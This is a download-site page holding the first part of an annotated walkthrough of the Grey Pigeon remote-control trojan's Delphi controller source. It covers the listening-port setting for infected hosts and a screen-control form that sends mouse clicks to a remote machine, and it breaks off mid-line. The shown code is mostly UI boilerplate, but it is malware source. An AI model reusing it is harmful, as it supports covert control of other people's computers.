⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 一起解剖灰鸽子vip1.2源码.txt

📁 一起解剖灰鸽子VIP1.2源码.txt 非原创
💻 TXT
📖 第 1 页 / 共 5 页
字号:
begin
if OpenDialog1.Execute then
FilenameEdit1.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit2ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit2.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit3ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit3.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit4ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit4.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit5ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit5.Text:=OpenDialog1.FileName;
end;
//这个是 系统设置 里的设置按钮点击事件
//
procedure TSysShezhi.Button6Click(Sender: TObject);
var
  ii: string;
begin
try
  HgzVip.Myinifile.writestring('Operation', 'TimerOut', TimerEdit.Text);
  HgzVip.Timer4.Interval:=Strtoint(TimerEdit.Text);
except
  HgzVip.Timer4.Interval:=Strtoint(TimerEdit.Text);
  TimerEdit.Text:='20000';
end;
  try
  //获取配置文件里的相应字段值
    II:=HgzVip.Myinifile.Readstring('LocalPort', 'AutoSxport', '80');
    if ii<> PortEdit.text then //如果和输入框的值不一样 就做更改
    begin
      HgzVip.AutoSxport:=StrtoInt(portEdit.text);
      HgzVip.Myinifile.writestring('LocalPort', 'AutoSxport',portEdit.text);
    try //并且还要改变本地的灰鸽子客户端的服务端口 让它立时生效
      HgzVip.IdTCPServer1.Active :=False;  //先停服务
      HgzVip.IdTCPServer1.Bindings.Clear;  //端口信息清掉
      HgzVip.IdTCPServer1.DefaultPort :=HgzVip.AutoSxport;  //改端口
      HgzVip.IdTCPServer1.Active :=True;    //开服务
    except
      Showmessage(Translate('ZhuanTai81','修改自动上线端口失败!无法打开端口: ')+inttostr(HgzVip.AutoSxport));
    end;
      Showmessage(Translate('ZhuanTai82','修改自动上线端口成功!'));
      HgzVip.SportEdit.Text := portEdit.text;
    end;
  except  //异常处理
    Showmessage(Translate('ZhuanTai83','修改自动上线端口失败!'));
  end;
end;

end.


//总的来说这个单元没有太高深的技术要点,主要是配置信息的更改 配置文件的读写操作
//不过TimerEdit: TspSkinEdit; 类型的控件倒是有意思,里面有一个属性 bottenmode 当这个属性为true时会右边出现一个按钮,并且可以触发按钮事件。否则就是一个普通的文本框了
//这里可以学习的是 打开文件控件 OpenDialog1: TOpenDialog;的一个使用方法

procedure TSysShezhi.FilenameEdit1ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit1.Text:=OpenDialog1.FileName;
end;

看到了么,打开本地文件 返回路径+文件名其实就这么简单。

//还有一个可以学习的地方 就是 spDynamicSkinForm1: TspDynamicSkinForm;皮肤控件啦,其实每个使用皮肤的窗口都有一个这样的控件,这个控件里的SkinData属性要指向HgzVip.spSkinData1 就可以让这个窗口的风格皮肤和HgzVip 一致了。所以说 ,所有的其他窗体 都有一个这样的控件,属性也这样设置,这样就可以和主窗体保持一直的风格哦。




//这个框不知道是干什么用的,但客户端的确有生成这个窗体。代码也很简单 看名字应该是搜索什么东西 用来表现结果的。

------------------------------------

unit Scanover;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, SkinCtrls, StdCtrls, DynamicSkinForm, SkinBoxCtrls, LangFrm;

type
  TSjiegou = class(TLangForm)
    Button3: TspSkinButton;
    Panel: TspSkinPanel;
    Memo: TspSkinMemo;
    ScrollBar2: TspSkinScrollBar;
    spDynamicSkinForm1: TspDynamicSkinForm;
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Sjiegou: TSjiegou;

implementation
uses
  Main;
{$R *.dfm}

procedure TSjiegou.Button3Click(Sender: TObject);
begin
Close;

end;

end.

//这是一个很简单得一个窗体 上面就几个控件 一个皮肤控件 一个 memo 一个是滚条
//值得学习得是 滚动条ScrollBar2 和 Memo的关系。实际上是需要关联一下才可以用
//关联方法 就是
//memo.ScrollBars 选择 ssVertical
//memo.vscrollbar指向ScrollBar2
//ScrollBar2.kind 选择成 sbvertical (表示竖型的滑条)





这节 我们来分析它的屏幕截图客户端的程序内幕
-------------------------
unit ShowPic;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, DynamicSkinForm, jpeg, Menus, SkinCtrls, SkinBoxCtrls,
  StdCtrls, Mask, Buttons, ToolWin, ComCtrls, SkinMenus, Gauges, IdGlobal, LangFrm;

type
  TShowPm = class(TLangForm)
    //这是皮肤控件 不需要多讲了吧 前面已经介绍过了
    spDynamicSkinForm1: TspDynamicSkinForm;
    //一个容器控件 用来放置其他的控件
    Panelbox: TspSkinPanel;
    //这个是时间控件 让程序自动实现动作
    ClickTimer: TTimer;
    //是一个容器控件,接受的屏幕图片就放在其中,这个控件的好处就是有滑条
    ScrollBox1: TScrollBox;
    //这个控件我看了好像没起什么作用,控件在图片的背后也没显示出来
    spSkinSpeedButton2: TspSkinSpeedButton;
    //顶头上的一个放speedbuttom的按钮的容器控件
    ControlBar1: TspSkinControlBar;
    // MainPanel是放在 ControlBar1里面的,所有的按钮是放在其中
    MainPanel: TspSkinPanel;
    //上面列出来的一些按钮
    StatButton: TspSkinSpeedButton;
    StopButton: TspSkinSpeedButton;
    jianpanButton: TspSkinSpeedButton;
    ShubiaoButton: TspSkinSpeedButton;
    WinButton: TspSkinSpeedButton;
    ShiftButton: TspSkinSpeedButton;
    CtrlButton: TspSkinSpeedButton;
    AltButton: TspSkinSpeedButton;
    TobButton: TspSkinSpeedButton;
    EscButton: TspSkinSpeedButton;
    // 保存文件的控件
    SaveDialog1: TSaveDialog;
    // 点击产生的下拉菜单控件
    PopupMenu1: TspSkinPopupMenu;
    //是 PopupMenu1的两个下拉选项
    N1: TMenuItem;
    N2: TMenuItem;
    //这是一个按钮,可以指向PopupMenu1,点这个按钮的时候,就会出现PopupMenu1的下拉菜单
    SaveButton: TspSkinMenuButton;
    //是一个TPaintBox类的对象,用来画图的控件,屏幕的截图就是由此产生
    Image1: TPaintBox;
    //进度条控件,这个不多解释
    Gauge1: TGauge;
    //是一个 下拉控件,下拉项可以在它的items里设置
    ComboBox4: TspSkinComboBox;
    //定时控件ClickTimer的实施函数Timer
    procedure ClickTimerTimer(Sender: TObject);
    //双击Image1控件的动作函数
    procedure Image1DblClick(Sender: TObject);
    //窗体类的方法,就是键盘按下的函数方法 ,估计是用来捕获键盘按键然后做相应处理的
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
  // 窗体类的方法,关闭窗体的操作
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    //窗体类的方法,这个是改变窗体尺寸的操作了
    procedure FormResize(Sender: TObject);
    // 下面是几个按钮的点击处理函数
    procedure StatButtonClick(Sender: TObject);
    procedure StopButtonClick(Sender: TObject);
    procedure ShiftButtonClick(Sender: TObject);
    procedure CtrlButtonClick(Sender: TObject);
    procedure AltButtonClick(Sender: TObject);
    procedure TobButtonClick(Sender: TObject);
    procedure EscButtonClick(Sender: TObject);
    procedure WinButtonClick(Sender: TObject);
    //这是菜单点击的处理函数
    procedure N1Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    //这是PaintBox1的单击处理函数
    procedure PaintBox1Click(Sender: TObject);
    //这是PaintBox1的双击处理函数
    procedure PaintBox1DblClick(Sender: TObject);
    //下面是鼠标在的PaintBox 也就是 image1上进行相应操作的处理函数
    procedure PaintBox1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure PaintBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure PaintBox1MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    //进行PaintBox 也就是 image1绘图的操作
    procedure Image1Paint(Sender: TObject);
    //下拉菜单的控制动作
    procedure ComboBox4Change(Sender: TObject);
  private
    { Private declarations }
    //定义了 4个私有变量,用来干什么的我们下面再分析
    LastX      : integer;
    LastY      : integer;
    but        : integer;
    NumClick  : integer;

  public
    { Public declarations }
    
  end;

var
  ShowPm: TShowPm;

implementation
uses
  Main;
{$R *.dfm}
//自定义函数,
function IntToByteStr(Value: integer): string;
begin
  SetLength(Result, 4);
  {
  SetLength是设置动态数组的长度的,功能:设置字符串或动态数组长度。
  该函数有两个参数。第一个参数为要设置的字符串变量或动态数组变量,
  第二个参数为指定的长度,其取值范围在0到255之间。
  上面可以看到,这个函数的返回值 是string类型,实际上就是动态字串数组
  因为返回值被定义成string,所以这里就用这个函数来设定其返回值(result)的长度
    }
  Move(Value, Result[1], sizeof(integer));
  {
    这个函数Move的作用我查了一下 ,是system单元里的系统函数。
    网上似乎没有过多的解释
    相关资料:
    像下面这个例子,其结果是怎么得来的?
    var
        A:array  [1..4]  of  char;
        B:integer;
    begin
        A:='ABCD';
        move(A,B,sizeof(B));
        showmessage('A='+A+#13#10+'B='+IntToStr(B));
      end;

  结果显示:
                      A=ABCD
                      B=1145258561
  解答:

  A  =>  41H
  B  =>  42H  
  C  =>  43H  
  D  =>  44H  
    
  内存排布为  
  DCBA  =>44  43  42  41  
    
  44434241H  =>  1145258561D
    
  所以B的内容为  1145258561
    
  ---------------------------------------------------------------------------------
  procedure  Move(const  Source;  var  Dest;  Count:  Integer);  

  Description

  Move  copies  Count  bytes  from  Source  to  Dest.  No  range  checking  is  performed.  Move  compensates  for  overlaps  between  the  source  and  destination  blocks.    
    
  Whenever  possible,  use  SizeOf  to  determine  the  count.
  ----------
看到这里 似乎可以理解这个move是用来干什么的了,应该是用来进行类型互换的,比如byte->integer 或者 integer ->byte
为了防止溢出 要在第3个参数 加上 、sizeof(※※) ,比较上面语句和例子分析,感觉这个※※可以是第一个参数的也可以是第2个参数的
  好!看到这里 细节的东西我们可以允许自己有些疑问,现在先继续往下看。
  }
end;


{procedure TShowPm.ScaleXY(var X, Y: integer);
begin
  with Image1 do begin
      X := X * Picture.Width div Width;
      Y := Y * Picture.Height div Height;
  end;
end; }
//下面的这个函数就是定时控件的操作了,
{
背景知识:
  1、 Ttimer 控件是用来做定时用的,所有定时触发的事件写在函数timer中
  2、定时的长度 在 控件属性 interval中设置,以毫秒为单位,
  比如1秒是1000 24小时就是86400000
  这个属性允许设置的数值范围是0..4294967295
  3、要使这个控件工作,还得将其enabled属性 设置成true,
  这个控件 在默认情况下是false 的,当程序设置其为true时就开始工作了
}
procedure TShowPm.ClickTimerTimer(Sender: TObject);
begin

  ClickTimer.Enabled := False;  //先把定时器“按住”(暂停它),然后继续
{
  下面用到主窗体中的 ScrControl控件,我们翻过去看看究竟是啥东西……
    我找了半天,,很笨 没找到。。。。。
    因为方法不对,这个对象是一个非可视化 对象,我却在object inspector里翻
    赫赫。。。后来忽然想到 为什么不用 ctrl直接左键点击这个ScrControl 呢,
    一下就自动跳到了定义的单元 main(也就是窗体HgzVip的单元),
    上面写了FilesConTrol,ScreenCThread,ScrControl,AcmOutThread : TIdPeerThread;
    看到了么,应该是一个线程对象。
    OK 继续找到 main里还有这样一段
    ------------
    if RecCMD = '004' then
  begin
    AThread.Connection.Tag := 4;
    HgzVip.ScrControl:= AThread;
    HgzVip.AddLineStr(HgzVip.Translate('ZhuanTai146','屏幕控制 - 线路连接成功!'), 1, True);
    HgzVip.Enabled := True;
    Exit;
  end;
  -------------------

  看样子就是屏幕监控的一个连接线程了,猜的,现在没法去解剖 main 单元,
  因为设计的代码太多  ,所以我们先保留个疑问放在这里。
  等我们熟悉了作者的思路以后再去分析main就会势如破竹了
  }

  try
  if (NumClick=1) and (but=1) then  //单击左键
    begin
    HgzVip.ScrControl.Connection.Write(IntToByteStr(1)+IntToByteStr(LastX) + IntToByteStr(LastY)+ EOL);
  //这个是把 整数 1 和 整型变量  LastX LastY 转成字符串连接起来,然后通过write发送出去的
  //以上是我的猜想假设,如无意外 估计程序就是这样了。
  //下面的都是类同,自己理解,不用多费口舌了。。
    end;

  if (NumClick=2) and (but=1) then  //双击左键
    begin
    HgzVip.ScrControl.Connection.Write(IntToByteStr(2)+IntToByteStr(LastX) + IntToByteStr(LastY)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -